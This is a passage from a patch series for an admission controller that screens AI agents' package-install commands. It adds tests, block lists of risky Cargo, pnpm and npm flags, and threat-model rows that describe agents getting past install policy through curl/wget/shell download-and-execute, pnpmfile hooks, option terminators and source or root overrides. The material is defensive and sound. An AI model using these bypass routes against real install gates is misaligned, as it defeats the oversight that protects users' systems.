"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const ARTIFACT_ARGUMENT: &str = "cwl-example@1.2.3"; + +#[test] +fn cargo_build_variant_selectors_cannot_change_an_approved_artifact_install() { + // Cargo documents these selectors as changing the activated feature set or + // selected build output. The current artifact coordinate does not bind that + // build variant, so callers must not be able to add one after approval. + for variant_arguments in [ + vec!["--features=dangerous"], + vec!["-Fdangerous"], + vec!["--all-features"], + vec!["--no-default-features"], + vec!["--bin=alternate"], + vec!["--example=diagnostic"], + vec!["--profile=dev"], + vec!["--target=wasm32-wasip1"], + vec!["--debug"], + ] { + let policy = approved_cargo_policy(); + let mut argv = vec![ + "cargo".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--locked".to_string(), + ]; + argv.extend(variant_arguments.iter().map(|value| (*value).to_string())); + let intent = approved_cargo_intent(argv); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "unreviewed Cargo build variant {variant_arguments:?} must not change an approved install" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "unbound Cargo build variants must produce the stable artifact_not_approved reason: {variant_arguments:?}" + ); + } +} + +fn approved_cargo_policy() -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "cargo-build-variant-test".to_string(), + policy_revision: "1".to_string(), + allowed_executables: vec!["cargo".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_SHA256.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }], + } +} + +fn approved_cargo_intent(argv: Vec) -> InstallIntent { + InstallIntent { + request_id: "req-cargo-build-variant".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_SHA256.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }], + } +} From 32d96098f46a6a672d702cb822351cd6d353cf88 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 11:12:03 +0900 Subject: [PATCH 118/702] fix(admission): bind Cargo install build variants --- crates/agent-artifact-admission/src/policy.rs | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index d653b81c..e996816b 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -265,6 +265,7 @@ fn validate_artifact_operands(intent: &InstallIntent, reason_codes: &mut Vec } } +fn requests_unapproved_cargo_build_variant(executable: &str, arguments: &[String]) -> bool { + if executable != "cargo" { + return false; + } + + const BUILD_VARIANT_FLAGS: &[&str] = &[ + "-F", + "--features", + "--all-features", + "--no-default-features", + "--bin", + "--bins", + "--example", + "--examples", + "--target", + "--debug", + "--profile", + ]; + + arguments.iter().any(|argument| { + BUILD_VARIANT_FLAGS + .iter() + .any(|flag| matches_cli_flag(argument, flag)) + }) +} + fn has_unambiguous_boolean_safety_flag(arguments: &[String], flag: &str) -> bool { let Some(flag_name) = flag.strip_prefix("--") else { return false; From 66b7eb61793dc429ee688f54b4db4315e2106cf5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 11:13:32 +0900 Subject: [PATCH 119/702] docs(security): bind Cargo install build variants --- docs/security/agent-artifact-admission-threat-model.md | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index 4bf523e7..8a06e7ea 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -28,6 +28,7 @@ The credential file, policy/configuration file and audit file are local deployme | Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL, local path, npm user/global config file, npm TLS trust override, or package-manager runtime-configuration channel so resolution or registry authentication semantics come from unreviewed authority | Reject explicit trust-root/source selectors and opaque submitted configuration channels such as npm `--userconfig`/`--globalconfig`/`--ca`/`--cafile`/`--strict-ssl` and pnpm `--config.=` before returning `allow` | `decision=block`, reason `alternate_trust_root` | | Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | | Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target, root, system or arbitrary-environment flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root/environment overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | +| Unbound Cargo build variant | An approved Cargo package digest is installed with caller-selected features, binary/example target, compilation target or profile, producing an execution payload that the approved artifact coordinate does not describe | Until build-variant authority is explicitly versioned in the artifact contract, reject Cargo `-F`/`--features`, `--all-features`, `--no-default-features`, `--bin`/`--bins`, `--example`/`--examples`, `--target`, `--debug` and `--profile` selectors | `decision=block`, reason `artifact_not_approved` | | Workspace-scope expansion | An approved package install adds workspace/project selectors so the command operates in caller-selected projects instead of the broker-selected workspace | Reject submitted npm workspace selectors and pnpm working-directory/filter/recursive/workspace-root selectors as destination/scope authority changes before returning `allow` | `decision=block`, reason `alternate_install_root` | | Malformed or missing provenance | Remote instruction source lacks HTTPS or content digest | Strict source-kind validation and SHA-256 requirement | `400` with audited block receipt | | Authentication bypass | Caller omits, duplicates or manipulates the admin token | One bounded visible-ASCII token from the credentials file; constant-time comparison; no environment-variable secret path | `401` | @@ -42,7 +43,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, or caller-selected npm configuration file, weaken or replace registry TLS certificate validation, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, or caller-selected npm configuration file, weaken or replace registry TLS certificate validation, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -52,11 +53,11 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, npm caller-selected user/global configuration files and registry TLS trust overrides, and pnpm's submitted dotted configuration channel, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope, build-variant and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, and pnpm's submitted dotted configuration channel, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment/workspace/configuration overrides narrows the command capability but does not substitute for that runtime isolation boundary. +SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment/workspace/configuration/build-variant overrides narrows the command capability but does not substitute for that runtime isolation boundary. ## Primary references @@ -67,6 +68,7 @@ SHA-256 equality proves byte identity only when the execution path independently - npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/v10/commands/npm-install/ - pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs - pnpm contributors. (2026). *CLI startup and `--config.=` extraction* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/lib.rs +- The Rust Project. (2026). *cargo install — The Cargo Book.* https://doc.rust-lang.org/cargo/commands/cargo-install.html - SLSA Community. (2025). *SLSA specification, version 1.2.* https://slsa.dev/spec/v1.2/ - The Update Framework. (2026). *Specification, version 1.0.33.* https://theupdateframework.io/spec/ - Sigstore. (2026). *Sigstore documentation: Overview and security model.* https://docs.sigstore.dev/ ; https://docs.sigstore.dev/about/security/ From 3aaba9974361810cec9129a445c22da70b415f96 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 13:18:06 +0900 Subject: [PATCH 120/702] test: reproduce pnpmfile execution escape --- .../tests/pnpm_pnpmfile_contract.rs | 80 +++++++++++++++++++ 1 file changed, 80 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs diff --git a/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs b/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs new file mode 100644 index 00000000..972dfe8a --- /dev/null +++ b/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs @@ -0,0 +1,80 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn pnpm_requires_pnpmfile_suppression_before_admission() { + let (policy, mut intent) = approved_pnpm_case(); + + let decision = admission_decision(&policy, &intent); + assert_eq!( + decision.decision, + DecisionKind::Block, + "--ignore-scripts alone is insufficient because pnpm executes .pnpmfile hooks" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "missing pnpmfile suppression must use the stable missing_safety_flag reason" + ); + + intent.argv.push("--ignore-pnpmfile".to_string()); + let hardened = admission_decision(&policy, &intent); + assert_eq!(hardened.decision, DecisionKind::Allow); +} + +fn approved_pnpm_case() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.3".to_string(), + allowed_executables: vec!["pnpm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-pnpm-pnpmfile-suppression".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "pnpm".to_string(), + "add".to_string(), + artifact.artifact_argument.clone(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From d994e64a3cb046ffc0309ae73e0a2ce425d466de Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 13:19:19 +0900 Subject: [PATCH 121/702] fix: suppress pnpmfile execution during admission --- crates/agent-artifact-admission/src/policy.rs | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index e996816b..9e029491 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -187,9 +187,13 @@ fn validate_safety_flags(intent: &InstallIntent, reason_codes: &mut Vec { + "npm" | "yarn" | "bun" => { !has_unambiguous_boolean_safety_flag(arguments, "--ignore-scripts") } + "pnpm" => { + !has_unambiguous_boolean_safety_flag(arguments, "--ignore-scripts") + || !has_unambiguous_boolean_safety_flag(arguments, "--ignore-pnpmfile") + } "pip" | "pip3" => !arguments .iter() .any(|argument| argument == "--require-hashes"), From cfbe3b834b5777e2c050a749937031cf13e4f2bd Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 13:20:11 +0900 Subject: [PATCH 122/702] docs: trace pnpmfile execution boundary --- docs/security/agent-artifact-admission-threat-model.md | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index 8a06e7ea..aae3b9e6 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -26,6 +26,7 @@ The credential file, policy/configuration file and audit file are local deployme | Unpinned or mutable dependency | Version range, missing digest or changed artifact is admitted | Exact version and SHA-256 are mandatory | `decision=block` | | Registry substitution | Look-alike or alternate registry serves a package with the same name | Exact HTTPS registry identity is part of the approved artifact coordinate | `decision=block` | | Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL, local path, npm user/global config file, npm TLS trust override, or package-manager runtime-configuration channel so resolution or registry authentication semantics come from unreviewed authority | Reject explicit trust-root/source selectors and opaque submitted configuration channels such as npm `--userconfig`/`--globalconfig`/`--ca`/`--cafile`/`--strict-ssl` and pnpm `--config.=` before returning `allow` | `decision=block`, reason `alternate_trust_root` | +| pnpmfile hook execution | A reviewed pnpm artifact command includes `--ignore-scripts`, but pnpm still loads local `.pnpmfile.mjs`/`.pnpmfile.cjs` hooks that can run code and alter config, resolution or fetch behavior | Require both unambiguous `--ignore-scripts` and `--ignore-pnpmfile` on admitted pnpm installs; contradictory/assigned Boolean forms do not satisfy the safety contract | `decision=block`, reason `missing_safety_flag` | | Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | | Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target, root, system or arbitrary-environment flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root/environment overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | | Unbound Cargo build variant | An approved Cargo package digest is installed with caller-selected features, binary/example target, compilation target or profile, producing an execution payload that the approved artifact coordinate does not describe | Until build-variant authority is explicitly versioned in the artifact contract, reject Cargo `-F`/`--features`, `--all-features`, `--no-default-features`, `--bin`/`--bins`, `--example`/`--examples`, `--target`, `--debug` and `--profile` selectors | `decision=block`, reason `artifact_not_approved` | @@ -43,7 +44,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, or caller-selected npm configuration file, weaken or replace registry TLS certificate validation, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, or executable pnpmfile hook, weaken or replace registry TLS certificate validation, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -53,11 +54,11 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope, build-variant and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, and pnpm's submitted dotted configuration channel, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope, build-variant and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, and pnpm's submitted dotted configuration channel. Admitted pnpm installs also require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment/workspace/configuration/build-variant overrides narrows the command capability but does not substitute for that runtime isolation boundary. +SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment/workspace/configuration/build-variant overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for that runtime isolation boundary. ## Primary references @@ -66,6 +67,8 @@ SHA-256 equality proves byte identity only when the execution path independently - npm, Inc. (2026). *Config.* https://docs.npmjs.com/using-npm/config/ - npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ - npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/v10/commands/npm-install/ +- pnpm contributors. (2026). *.pnpmfile.mjs.* https://pnpm.io/pnpmfile +- pnpm contributors. (2026). *Build settings.* https://pnpm.io/settings/build - pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs - pnpm contributors. (2026). *CLI startup and `--config.=` extraction* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/lib.rs - The Rust Project. (2026). *cargo install — The Cargo Book.* https://doc.rust-lang.org/cargo/commands/cargo-install.html From 85f0f6542a13bfdcc05024b51423851b33ae2ed8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 13:20:45 +0900 Subject: [PATCH 123/702] docs: record pnpmfile admission hardening --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c35ac057..07d38d09 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, or opaque runtime configuration: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, and `--config.=` runtime overrides, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, or opaque runtime configuration: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. From 46363d7a16de8b4318107ba10a10929304d571ac Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:17:32 +0900 Subject: [PATCH 124/702] test(security): reject option terminator safety bypass --- .../tests/safety_flag_contract.rs | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/crates/agent-artifact-admission/tests/safety_flag_contract.rs b/crates/agent-artifact-admission/tests/safety_flag_contract.rs index d08c9771..32e22657 100644 --- a/crates/agent-artifact-admission/tests/safety_flag_contract.rs +++ b/crates/agent-artifact-admission/tests/safety_flag_contract.rs @@ -94,6 +94,31 @@ fn npm_boolean_overrides_cannot_reenable_install_scripts() { } } +#[test] +fn option_terminator_cannot_hide_required_safety_flags_from_the_package_manager() { + let policy = approved_npm_policy(); + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "npm".to_string(), + "install".to_string(), + "@unowned/example@1.2.3".to_string(), + "--".to_string(), + "--ignore-scripts".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "forbidden_command"), + "option terminator must not create a second parser authority: {:?}", + decision.reason_codes + ); +} + #[test] fn pip_attached_short_options_cannot_escape_reviewed_install_capability() { let policy = approved_pip_policy(); From 0ccab1141a078e7915d3c1d2fab241b118de4036 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:21:36 +0900 Subject: [PATCH 125/702] fix(security): reject argv parser terminators --- crates/agent-artifact-admission/src/policy.rs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 9e029491..774ebf00 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -167,7 +167,8 @@ fn validate_command_path(intent: &InstallIntent, reason_codes: &mut Vec Date: Fri, 4 Sep 2026 03:24:26 +0900 Subject: [PATCH 126/702] docs(security): trace option parser authority boundary --- docs/security/agent-artifact-admission-threat-model.md | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index aae3b9e6..33ed44cb 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -26,6 +26,7 @@ The credential file, policy/configuration file and audit file are local deployme | Unpinned or mutable dependency | Version range, missing digest or changed artifact is admitted | Exact version and SHA-256 are mandatory | `decision=block` | | Registry substitution | Look-alike or alternate registry serves a package with the same name | Exact HTTPS registry identity is part of the approved artifact coordinate | `decision=block` | | Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL, local path, npm user/global config file, npm TLS trust override, or package-manager runtime-configuration channel so resolution or registry authentication semantics come from unreviewed authority | Reject explicit trust-root/source selectors and opaque submitted configuration channels such as npm `--userconfig`/`--globalconfig`/`--ca`/`--cafile`/`--strict-ssl` and pnpm `--config.=` before returning `allow` | `decision=block`, reason `alternate_trust_root` | +| Option-parser authority split | A required safety flag is placed after a standalone `--`, where the downstream CLI can stop interpreting subsequent tokens as options while Wardnet's naive argv scan still treats them as active controls | Reject the standalone option terminator for admitted install commands so Wardnet and the execution broker cannot disagree about which tokens have option semantics | `decision=block`, reason `forbidden_command` | | pnpmfile hook execution | A reviewed pnpm 